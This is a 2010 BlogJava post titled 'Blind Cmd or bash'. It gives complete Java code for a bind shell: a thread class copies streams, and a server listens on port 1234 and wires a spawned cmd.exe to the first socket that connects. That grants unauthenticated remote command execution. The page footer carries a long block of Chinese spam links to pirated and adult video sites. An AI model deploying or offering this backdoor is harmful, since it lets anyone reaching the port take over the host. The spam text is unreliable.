<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    shnulaa

    Never deter till tomorrow that which you can do today
    posts - 15, comments - 0, trackbacks - 0, articles - 2
      BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

    Blind Cmd or bash

    Posted on 2010-09-26 16:36 shnulaa 閱讀(179) 評論(0)  編輯  收藏 所屬分類: java
     1package cn.liuyq;
     2
     3import java.io.BufferedReader;
     4import java.io.BufferedWriter;
     5import java.io.IOException;
     6import java.io.InputStream;
     7import java.io.InputStreamReader;
     8import java.io.OutputStream;
     9import java.io.OutputStreamWriter;
    10
    11public class CombineStream extends Thread {
    12    private InputStream is;
    13    private OutputStream os;
    14
    15    /**
    16     * 
    17     * @param is
    18     * @param os
    19     */

    20    public CombineStream(InputStream is, OutputStream os) {
    21        this.is = is;
    22        this.os = os;
    23    }

    24
    25    /**
    26     * 
    27     * @throws Throwable
    28     */

    29    public void run() {
    30        BufferedReader br = null;
    31        BufferedWriter bw = null;
    32        try {
    33            br = new BufferedReader(new InputStreamReader(is));
    34            bw = new BufferedWriter(new OutputStreamWriter(os));
    35
    36            char[] buffer = new char[1024*5];
    37            int charAt;
    38            while ((charAt = br.read(buffer, 0, buffer.length)) > 0{
    39                bw.write(buffer,0,charAt);
    40                bw.flush();
    41            }

    42
    43        }
     catch (Throwable e) {
    44
    45        }
     finally {
    46            if (br != null{
    47                try {
    48                    br.close();
    49                }
     catch (IOException e) {
    50                    // TODO Auto-generated catch block
    51                    e.printStackTrace();
    52                }

    53            }

    54            if (bw != null{
    55                try {
    56                    bw.close();
    57                }
     catch (IOException e) {
    58                    // TODO Auto-generated catch block
    59                    e.printStackTrace();
    60                }

    61            }

    62        }

    63
    64    }

    65
    66    /**
    67     * 
    68     */

    69    public void destroy() {
    70        if (is != null{
    71            try {
    72                is.close();
    73            }
     catch (IOException e) {
    74                // TODO Auto-generated catch block
    75                e.printStackTrace();
    76            }

    77        }

    78        if (os != null{
    79            try {
    80                os.close();
    81            }
     catch (IOException e) {
    82                // TODO Auto-generated catch block
    83                e.printStackTrace();
    84            }

    85        }

    86    }

    87
    88}

    89
    above is a thread to combine the inputStrean and outputStream.

    BlindSever.java
     1package cn.liuyq;
     2
     3import java.io.InputStream;
     4import java.io.OutputStream;
     5import java.net.InetSocketAddress;
     6import java.net.ServerSocket;
     7import java.net.Socket;
     8
     9public class BlindSever {
    10    
    11    public static void main(String[] args) throws Throwable{
    12        
    13        ServerSocket serverSocket = new ServerSocket();
    14        serverSocket.bind(new InetSocketAddress(1234));
    15        Socket socket = serverSocket.accept();
    16
    17        InputStream is = socket.getInputStream();
    18        OutputStream os = socket.getOutputStream();
    19        
    20        Process process = Runtime.getRuntime().exec("cmd.exe");
    21        InputStream prois = process.getInputStream();
    22        OutputStream proos = process.getOutputStream();
    23        
    24        CombineStream cs1 = new CombineStream(is, proos);
    25        CombineStream cs2 = new CombineStream(prois, os);
    26
    27        cs1.start();
    28        cs2.start();
    29        
    30        
    31    }

    32}

    33
    open a port and ready to receive a sorcket from client and then combine the cmd process input and output with the sockect input and output
    主站蜘蛛池模板: 亚洲视频一区网站| 亚洲精品无码专区久久久| 亚洲国产精品人久久电影| 久久国产色AV免费观看| 亚洲AV永久无码区成人网站| 国内精品久久久久影院免费| 国产亚洲一区二区在线观看| 久久久国产精品福利免费| 亚洲日本一区二区| 久久久久免费看成人影片| 亚洲国产精品综合久久2007| 一色屋成人免费精品网站 | 国产精品久久久久影院免费| 亚洲sm另类一区二区三区| 国产伦精品一区二区三区免费下载| 美女尿口扒开图片免费| 亚洲精品国产高清嫩草影院| gogo免费在线观看| 亚洲国产精品久久久久网站| 国产精品免费观看| 爱情岛亚洲论坛在线观看| 久久影视综合亚洲| 一级毛片免费观看不卡的| 亚洲 日韩 色 图网站| 亚洲成年看片在线观看| 日韩精品在线免费观看| 亚洲国产精品张柏芝在线观看| 国产成人啪精品视频免费网| 国产精品免费看久久久香蕉| 18gay台湾男同亚洲男同| 午夜色a大片在线观看免费| 丁香花在线观看免费观看图片 | 男女啪啪免费体验区| 国产精品亚洲A∨天堂不卡| 我们的2018在线观看免费高清| 亚洲AV无码成人精品区日韩| 亚洲va无码专区国产乱码| 免费无码AV电影在线观看 | 久久精品人成免费| 国产成人 亚洲欧洲| 亚洲电影免费在线观看|